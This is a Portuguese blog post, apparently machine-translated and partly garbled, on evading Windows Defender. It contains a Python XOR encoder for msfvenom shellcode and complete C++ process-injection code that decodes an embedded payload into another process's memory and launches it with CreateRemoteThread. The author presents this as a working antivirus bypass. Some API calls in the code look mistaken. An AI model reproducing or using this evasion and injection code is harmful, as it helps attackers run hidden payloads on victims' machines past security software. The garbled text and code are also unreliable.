Como ignorar o Windows Defender
Como ignorar o Windows Defender
Ei, eu estou de volta com um novo post no blog. Neste post vou falar sobre como contornar oWindows Defender para executar seu shell reverso meterpreter, Desculpe, eu estava errado neste ponto Depois de mais pesquisas, descobri que a maioria de todos os AV/EDRs estĂŁo pegando assinatura em cada linha do cĂłdigo-fonte do meterpreter, entĂŁo uma das coisas mais difĂceis que vocĂŞ pode fazer ĂŠ injetar um shellcode do meterpreter, mas definitivamente se vocĂŞ estiver usando um Cobalt Strike, ou se vocĂŞ estiver usando qualquer outro C2, quando quero dizer outro C2 quero dizer um incomum para ser menos detectado por si sĂł.
RESUMO
Vou usar a tĂŠcnica de postagem anterior AQUI , mas adicionarei uma/duas coisas, que ĂŠ: xor meu cĂłdigo de shell e xor novamente enquanto escrevo o shellcode na memĂłria.
SHELLCODE
Estou criado um shellcode atravĂŠs do msfvenom que ĂŠ pop-up uma caixa de mensagem. Depois de criar o shellcode, eu o xor.
O script a seguir ĂŠ um python para codificar meu shellcode.
raw_shellcode = "!Replace me with your shellcode"
enc_shellcode = []
print ("[+] Shellcode is encoding")
for opcode in raw_shellcode:
enc_opcode = (ord(opcode) ^ 0x41)
enc_shellcode.append(enc_opcode)
print ("========================Shellcode========================\n\n")
print ("".join(["\\x{0}".format(hex(abs(i)).replace("0x", "")) for i in enc_shellcode]))
print ("\n\n========================Shellcode========================")
EntĂŁo agora eu vou gerar meu shellcode codificado
WINAPIs
Nosso shellcode estå pronto agora, então vamos criar nosso binårio de injeção de processo.
Mas primeiro vou descrever alguns winapis que vamos usar.
AbrirProcesso
HANDLE OpenProcess(
DWORD dwDesiredAccess,
BOOL bInheritHandle,
DWORD dwProcessId
);
Vou usar o OpenProcess para abrir um processo dando a ele o PID desse processo. porque a idÊia principal da injeção de processo Ê criar um novo espaço de alocação para o shellcode em um processo local, em seguida, escrever o shellcode nessa alocação e executå-lo para que antes de criar uma nova alocação na memória você precise abrir esse processo primeiro faça sentido ?
NOTA:
Você precisa fechar a alça aberta atravÊs de CloseHandle()
VirtualAllocEx
LPVOID VirtualAllocEx(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
Vou usar VirtualAllocEx para alocar um novo espaço de memória para meu shellcode em outro processo.
Por que eu usei VirtualAllocEx nĂŁo VirtualAlloc ?
Porque eu preciso alocar espaço de memória em outro espaço de endereço de processo, pegue-o!
Basicamente, vocĂŞ pode usar VirtualAlloc para seu processo atual, mas VirtualAllocEx para outro processo local.
WriteProcessMemory
BOOL WriteProcessMemory(
HANDLE hProcess,
LPVOID lpBaseAddress,
LPCVOID lpBuffer,
SIZE_T nSize,
SIZE_T *lpNumberOfBytesWritten
);
Vou usar WriteProcessMemory para escrever o shellcode na nova alocação que criei em outro processo atravÊs do VirtualAllocEx
VirtualProtectEx
BOOL VirtualProtectEx(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);
Vou usar o VirtualProtectEx para alterar a permissão de proteção
CreateRemoteThread
HANDLE CreateRemoteThread(
HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
Vou usar CreateRemoteThread para criar um thread que Ê executado no espaço de endereço virtual de outro processo e, opcionalmente, especificar atributos estendidos.
Qual Ê a diferença entre CreateThread e CreateRemoteThread ?
CreateThread sĂł permite que vocĂŞ crie um thread para o processo atual.
CreateRemoteThread permite que vocĂŞ crie um thread para outro processo local.
PWN
Depois de discutir alguns WINAPIs, vamos criar nosso binårio de injeção de processo que ignora o Windows Defender, vamos começar com a criação do nosso CPP.
HĂĄ apenas um passo que eu gostaria de discutir antes de escrever o cĂłdigo que ĂŠ eu vou decodificar o opcode shellcode por opcode.
#include <stdio.h>
#include <Windows.h>
int main(int argc, char* argv[])
{
unsigned char shellcode[] = "\x98\xaa\xda\x98\x35\x65\xb5\x70\x93\xf3\x36\x70\x88\x25\xca\x30\x71\xca\x37\x4d\xca\x37\x5d\xca\x7\x49\xca\x3f\x61\xca\x77\x79\xe\x59\x34\xb2\x18\x40\x90\xbe\xa0\x21\xca\x2d\x65\x65\xca\x4\x7d\xca\x15\x69\x39\x40\xab\xca\xb\x59\xca\x1b\x61\x40\xaa\xa2\x75\x8\xca\x75\xca\x40\xaf\x70\xbe\x70\x81\xbd\xed\xc5\x81\x35\x46\x80\x8e\x4c\x40\x86\xaa\xb5\x7a\x3d\x65\x69\x34\xa0\xca\x1b\x65\x40\xaa\x27\xca\x4d\xa\xca\x1b\x5d\x40\xaa\xca\x45\xca\x40\xa9\xc8\x5\x65\x5d\x20\x82\xf3\x49\x68\x95\xc8\xa4\xc8\x83\x29\xcf\xf\x4f\xad\x13\xa9\xde\xbe\xbe\xbe\xc8\x4\x45\xfa\x3f\x99\xa3\x32\xc6\x5d\x65\x13\xa9\xcf\xbe\xbe\xbe\xc8\x4\x49\x29\x2d\x2d\x61\x0\x29\x72\x73\x6f\x25\x29\x34\x32\x24\x33\x71\x9a\xc9\x1d\x65\x4b\xc8\xa7\x17\xbe\x14\x45\xc8\x83\x11\xfa\xe9\xe3\xc\xfd\xc6\x5d\x65\x13\xa9\x1e\xbe\xbe\xbe\x29\x2e\x39\x19\x61\x29\x20\x26\x24\x3\x29\xc\x24\x32\x32\x70\x9a\xc9\x1d\x65\x4b\xc8\xa2\x29\x31\x36\x2f\x19\x29\x13\x24\x35\x73\x70\x88\xc9\xd\x65\x46\xc8\xa0\x70\x93\x13\x12\x10\x13\xbe\x91\x70\x81\x11\xbe\x14\x49";
HANDLE processHandle;
HANDLE remoteThread;
PVOID remoteBuffer;
DWORD oldPerms;
DWORD PID = 16772;
printf("Injecting to PID: %i", PID);
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READ);
int i;
int n = 0;
for (i = 0; i <= sizeof(shellcode); i++) {
char dec_opcode = shellcode[i] ^ 0x41;
if (WriteProcessMemory(processHandle, (char*)remoteBuffer + n, &dec_opcode, 1, NULL)) {
n++;
}
}
VirtualProtectEx(processHandle, (LPVOID)sizeof(processHandle), sizeof(shellcode), PAGE_READONLY, &oldPerms);
remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
CloseHandle(processHandle);
return 0;
}
No loop for, decodifiquei o shellcode escrevendo o opcode na memĂłria imediatamente.
EntĂŁo vamos compilar e ver o que vai acontecer?
Sim, fomos ignorados pelo defensor do Windows.đĽđĽđĽ
ComentĂĄrios
Postar um comentĂĄrio